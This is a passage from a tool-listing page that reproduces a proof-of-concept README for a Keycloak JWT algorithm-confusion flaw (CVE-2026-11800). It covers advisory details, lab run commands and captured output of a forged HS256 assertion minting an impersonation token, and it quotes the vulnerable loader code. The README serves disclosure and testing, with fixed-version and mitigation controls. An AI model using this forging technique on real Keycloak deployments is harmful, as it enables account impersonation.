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CVE-2026-11800-POC — Proof-of-concept for CVE-2026-11800: forges HS256 JWT assertions using Keycloak's IdP RSA public key DER bytes to mint tokens for federated users, with vulnerable/fixed lab. | Kitploit
أدوات/GitHubGitHub/fixedbyreboot/cve-2026-11800-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCryptographyIdentity & Access Management (IAM)AuthenticationLabs & Practice
GitHubfixedbyreboot/cve-2026-11800-poc

CVE-2026-11800-POC

Proof-of-concept for CVE-2026-11800: forges HS256 JWT assertions using Keycloak's IdP RSA public key DER bytes to mint tokens for federated users, with vulnerable/fixed lab.

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CVE-2026-11800 — Keycloak JWT authorization-grant algorithm confusion (CWE-347)

Language CVSS Affected Status Advisory License

Algorithm confusion in Keycloak's JWT Authorization Grant flow (grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer). When a federated identity provider is configured with a hardcoded public key (useJwksUrl=false) and no assertion algorithm is pinned (jwtAuthorizationGrantAssertionSignatureAlg unset, the default), the signature-algorithm validator accepts whatever alg the assertion header claims, and the hardcoded-key loader carries an HMAC branch that turns the configured public-key string into an OCT secret key. An attacker who holds valid client credentials and knows the IdP's RSA public key - public material by definition - signs an assertion with HS256 keyed with the RSA public key's DER bytes; the server loads those same bytes as the HMAC verification key, the signature checks out, and Keycloak mints a valid access token for any federated user of that IdP. No private key is involved anywhere. Fixed in 26.6.4 by rejecting symmetric algorithms in JWT public-key validators and removing the HMAC branch (PR #50374).

  • Affected: Keycloak < 26.6.4 (26.6.0 - 26.6.3 verified against; fixed 26.6.4 / 26.7.0), Red Hat build of Keycloak and RH-SSO equivalents
  • Precondition: attacker holds valid credentials for a confidential client that is allowed to use the JWT authorization grant (PR:L), plus knowledge of the IdP public key
  • Fixed: 26.6.4, PR https://github.com/keycloak/keycloak/pull/50374, commit d343c7373dcc7bfeb9dc14de2309836299c81837
  • CVSS: 8.1 High (CVSS v3.1, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N per GHSA)
  • Advisory: https://github.com/keycloak/keycloak/security/advisories/GHSA-j97h-3f8r-mrjr, Red Hat Bugzilla 2487006, keycloak issue 50357
  • CWE-347 (improper verification of cryptographic signature). KEV: not listed

Usage

Bring up both targets (vulnerable 26.6.3 on :8081, fixed 26.6.4 on :8082):

docker compose -p cve-2026-11800 up -d

Wait for both to become ready, then run the PoC against the vulnerable instance:

python3 poc.py --url http://127.0.0.1:8081 --admin-user admin --admin-password kcPocAdmin2026

and the fixed control:

python3 poc.py --url http://127.0.0.1:8082 --admin-user admin --admin-password kcPocAdmin2026

--url base URL of the target Keycloak. --admin-user/--admin-password the bootstrap admin (KC_BOOTSTRAP_ADMIN_USERNAME/KC_BOOTSTRAP_ADMIN_PASSWORD above); poc.py provisions its own test-realm via the Admin REST API (realm delete + create, so reruns are idempotent). --pin-alg RS256 additionally sets jwtAuthorizationGrantAssertionSignatureAlg on the IdP - the vendor mitigation, which must reject the same forged assertion even on a vulnerable build.

If the lab host's kernel cannot mount overlayfs (docker pull/save still work but run/build fail), setup/boot-lab.sh replays the identical image bits instead:

setup/boot-lab.sh            # unpacks quay images and boots both servers via proot

setup/unpack-images.py does the whiteout-aware layer merge; see its header for details.

Expected output

Vulnerable 26.6.3 (evidence/01-trigger-vuln-26.6.3.log, raw capture; long base64 values elided here for readability, full values are in the evidence file):

[*] TARGET: http://127.0.0.1:8081
[*] RSA public key generated: 294 DER SubjectPublicKeyInfo bytes
[*] HMAC secret = those 294 public DER bytes (base64 of them goes into the IdP config)
[*] provisioned realm test-realm: IdP authorization-grant-idp-alias (hardcoded public key, grant enabled, assertion alg NOT pinned), client test-app, federated user basic-user (id 90f09889-f912-40d3-abf8-0a7b017a214d, IdP subject basic-user-id)
[*] RAW REQUEST: POST http://127.0.0.1:8081/realms/test-realm/protocol/openid-connect/token
[*]   grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer client_id=test-app assertion(alg=HS256, sub=basic-user-id, aud=http://127.0.0.1:8081/realms/test-realm)
[*]   forged assertion: eyJhbG[...]
[*] RESPONSE STATUS: 200
[*] RESPONSE BODY: {"access_token": "eyJhbG[...]", "expires_in": 300, "refresh_expires_in": 0, "token_type": "Bearer", "not-before-policy": 0, "scope": "email profile"}
[*] MINTED TOKEN preferred_username: basic-user
[*] MINTED TOKEN sub: 90f09889-f912-40d3-abf8-0a7b017a214d  azp: test-app  iss: http://127.0.0.1:8081/realms/test-realm
[+] VULNERABLE: forged HS256 assertion ACCEPTED - access token minted for the federated user 'basic-user' without any private key.

The minted token's preferred_username is basic-user - the federated user linked to the IdP with IdP-side subject basic-user-id - proving the impersonation, not just a signature bypass. Exit code 0 = vulnerable.

Fixed 26.6.4, identical provisioning and identical forged assertion (evidence/02-control-fixed-26.6.4.log):

[*] RESPONSE STATUS: 400
[*] RESPONSE BODY: {"error": "invalid_grant", "error_description": "Invalid signature algorithm"}
[-] NOT VULNERABLE: forged HS256 assertion rejected - invalid_grant: Invalid signature algorithm

The version differential is the control: the same script, the same provisioning recipe, the same forged assertion - accepted on 26.6.3, rejected on 26.6.4. A second control pins the assertion algorithm on the vulnerable build (evidence/03-mitigation-pin-alg-vuln-26.6.3.log): 26.6.3 with jwtAuthorizationGrantAssertionSignatureAlg=RS256 also rejects the HS256 assertion with the same 400, which is the documented mitigation for installs that cannot upgrade immediately.

Why it works

Three pieces line up on 26.6.3:

  1. No expected algorithm means no algorithm check. The grant's assertion validation bottoms out in AbstractBaseJWTValidator.validateSignatureAlgorithm(String expected), reached through JWTAuthorizationGrantType.process -> JWTAuthorizationGrantValidator -> JWTAuthorizationGrantIdentityProvider.verifySignature. The vulnerable method only rejects an assertion whose alg header differs from the configured expected algorithm - and for the JWT authorization grant the expected algorithm is jwtAuthorizationGrantAssertionSignatureAlg, which is unset by default (getAssertionSignatureAlg() returns null). With no configured expectation the comparison is skipped and every algorithm name passes, including symmetric HS256/HS384/HS512.

  2. The hardcoded-key loader happily builds an HMAC key. With useJwksUrl=false the verification key is produced by HardcodedPublicKeyLoader, whose constructor dispatches on the algorithm from the token header:

    } else if (JavaAlgorithm.isHMACJavaAlgorithm(algorithm)) {
        keyWrapper.setType(KeyType.OCT);
        keyWrapper.setSecretKey(KeyUtils.loadSecretKey(Base64Url.decode(encodedKey), algorithm));
    }
    
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